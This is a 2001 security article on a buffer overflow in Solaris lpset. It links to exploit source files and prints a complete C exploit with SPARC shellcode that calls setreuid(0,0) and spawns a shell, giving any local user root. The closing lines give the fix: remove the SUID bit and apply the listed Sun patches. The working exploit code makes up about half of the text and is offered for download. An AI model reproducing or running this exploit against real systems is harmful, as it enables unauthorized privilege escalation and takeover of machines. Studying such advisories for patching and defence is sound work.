The lpset Buffer Overflow
by Russ Rogers - 01/05/01
I'm sure we've all heard the story: a programmer goes off and writes an application and leaves unknown details about the application
out of the documentation. There have been backdoors and secret codes and even legitimate software options put into applications
without the user's knowledge. Some are benign, others are definitely malignant.
Thus begins our story on lpset for Solaris. The exploit was reported in April of 2000 and concerns the -r option. What is the -r
option? Well, no one has come forward to say what it is yet, but we DO know that if contains one nasty buffer overflow.
The exploits can be found here:
http://www.securityhorizon.com/tools/solaris/lpset-noexec.c
http://www.securityhorizon.com/tools/solaris/lpset2-sparc.c
http://www.securityhorizon.com/tools/solaris/lpset2-x86.c
This is pretty much as standard buffer overflow. It requires a local user account with permissions to run lpset. It requires some
form of Solaris 2.6, 7 or 8 (Sparc or x86). It requires either a compiler on the system being targeted or a precompiled version for
that specific hardware and software version.
Lpset is typically only meant to be run by the root user or members of the "sysadmin" group. However, in some versions of the OS
software, it installs with permissions that allow any legitimate system user to run it. Downloading the following source code would
allow a user to escalate their privileges to that of the root user.
#include #include
#define BSIZE 18001 #define OFFSET 20112 #define START 700 #define END 1200 #define NOP 0xac15a16e #define EXSTART 116
char sparc_shellcode[] =
/* setreuid(0,0) */ "\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
/* other stuff */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
u_long get_sp() { asm("mov %sp, %i0"); } main(int argc, char *argv[]) { int i,ofs=OFFSET,start=START,end=END; u_long ret, *ulp; char
*buf;
if (argc > 1)
ofs=atoi(argv[1])+8;
if (!(buf = (char *) malloc(BSIZE+2)))
{ fprintf(stderr, "out of memory\n");
exit(1); }
ret = get_sp() - ofs;
for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
*ulp = NOP;
for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4)
*ulp++ = ret;
for (i = 0; i < strlen(sparc_shellcode); i++)
buf[EXSTART+i] = sparc_shellcode[i]; buf[5000]='=';
buf[18000]=0;
fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n", ret, strlen(buf)-2, ofs, ofs);
execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0); perror("execl");
}
If we remove the SUID root bit and change the permissions to 750, it should fix our problem. Sun has also released the following
patches:
http://sunsolve.com/securitypatch/:
SunOS 5.8 109320-01
SunOS 5.8_x86 109321-01
SunOS 5.7 107115-05
SunOS 5.7_x86 107115-05
SunOS 5.6 106235-06
SunOS 5.6_x86 106236-06
Checksums are available at: ftp://sunsolve.sun.com/pub/patches/CHECKSUMS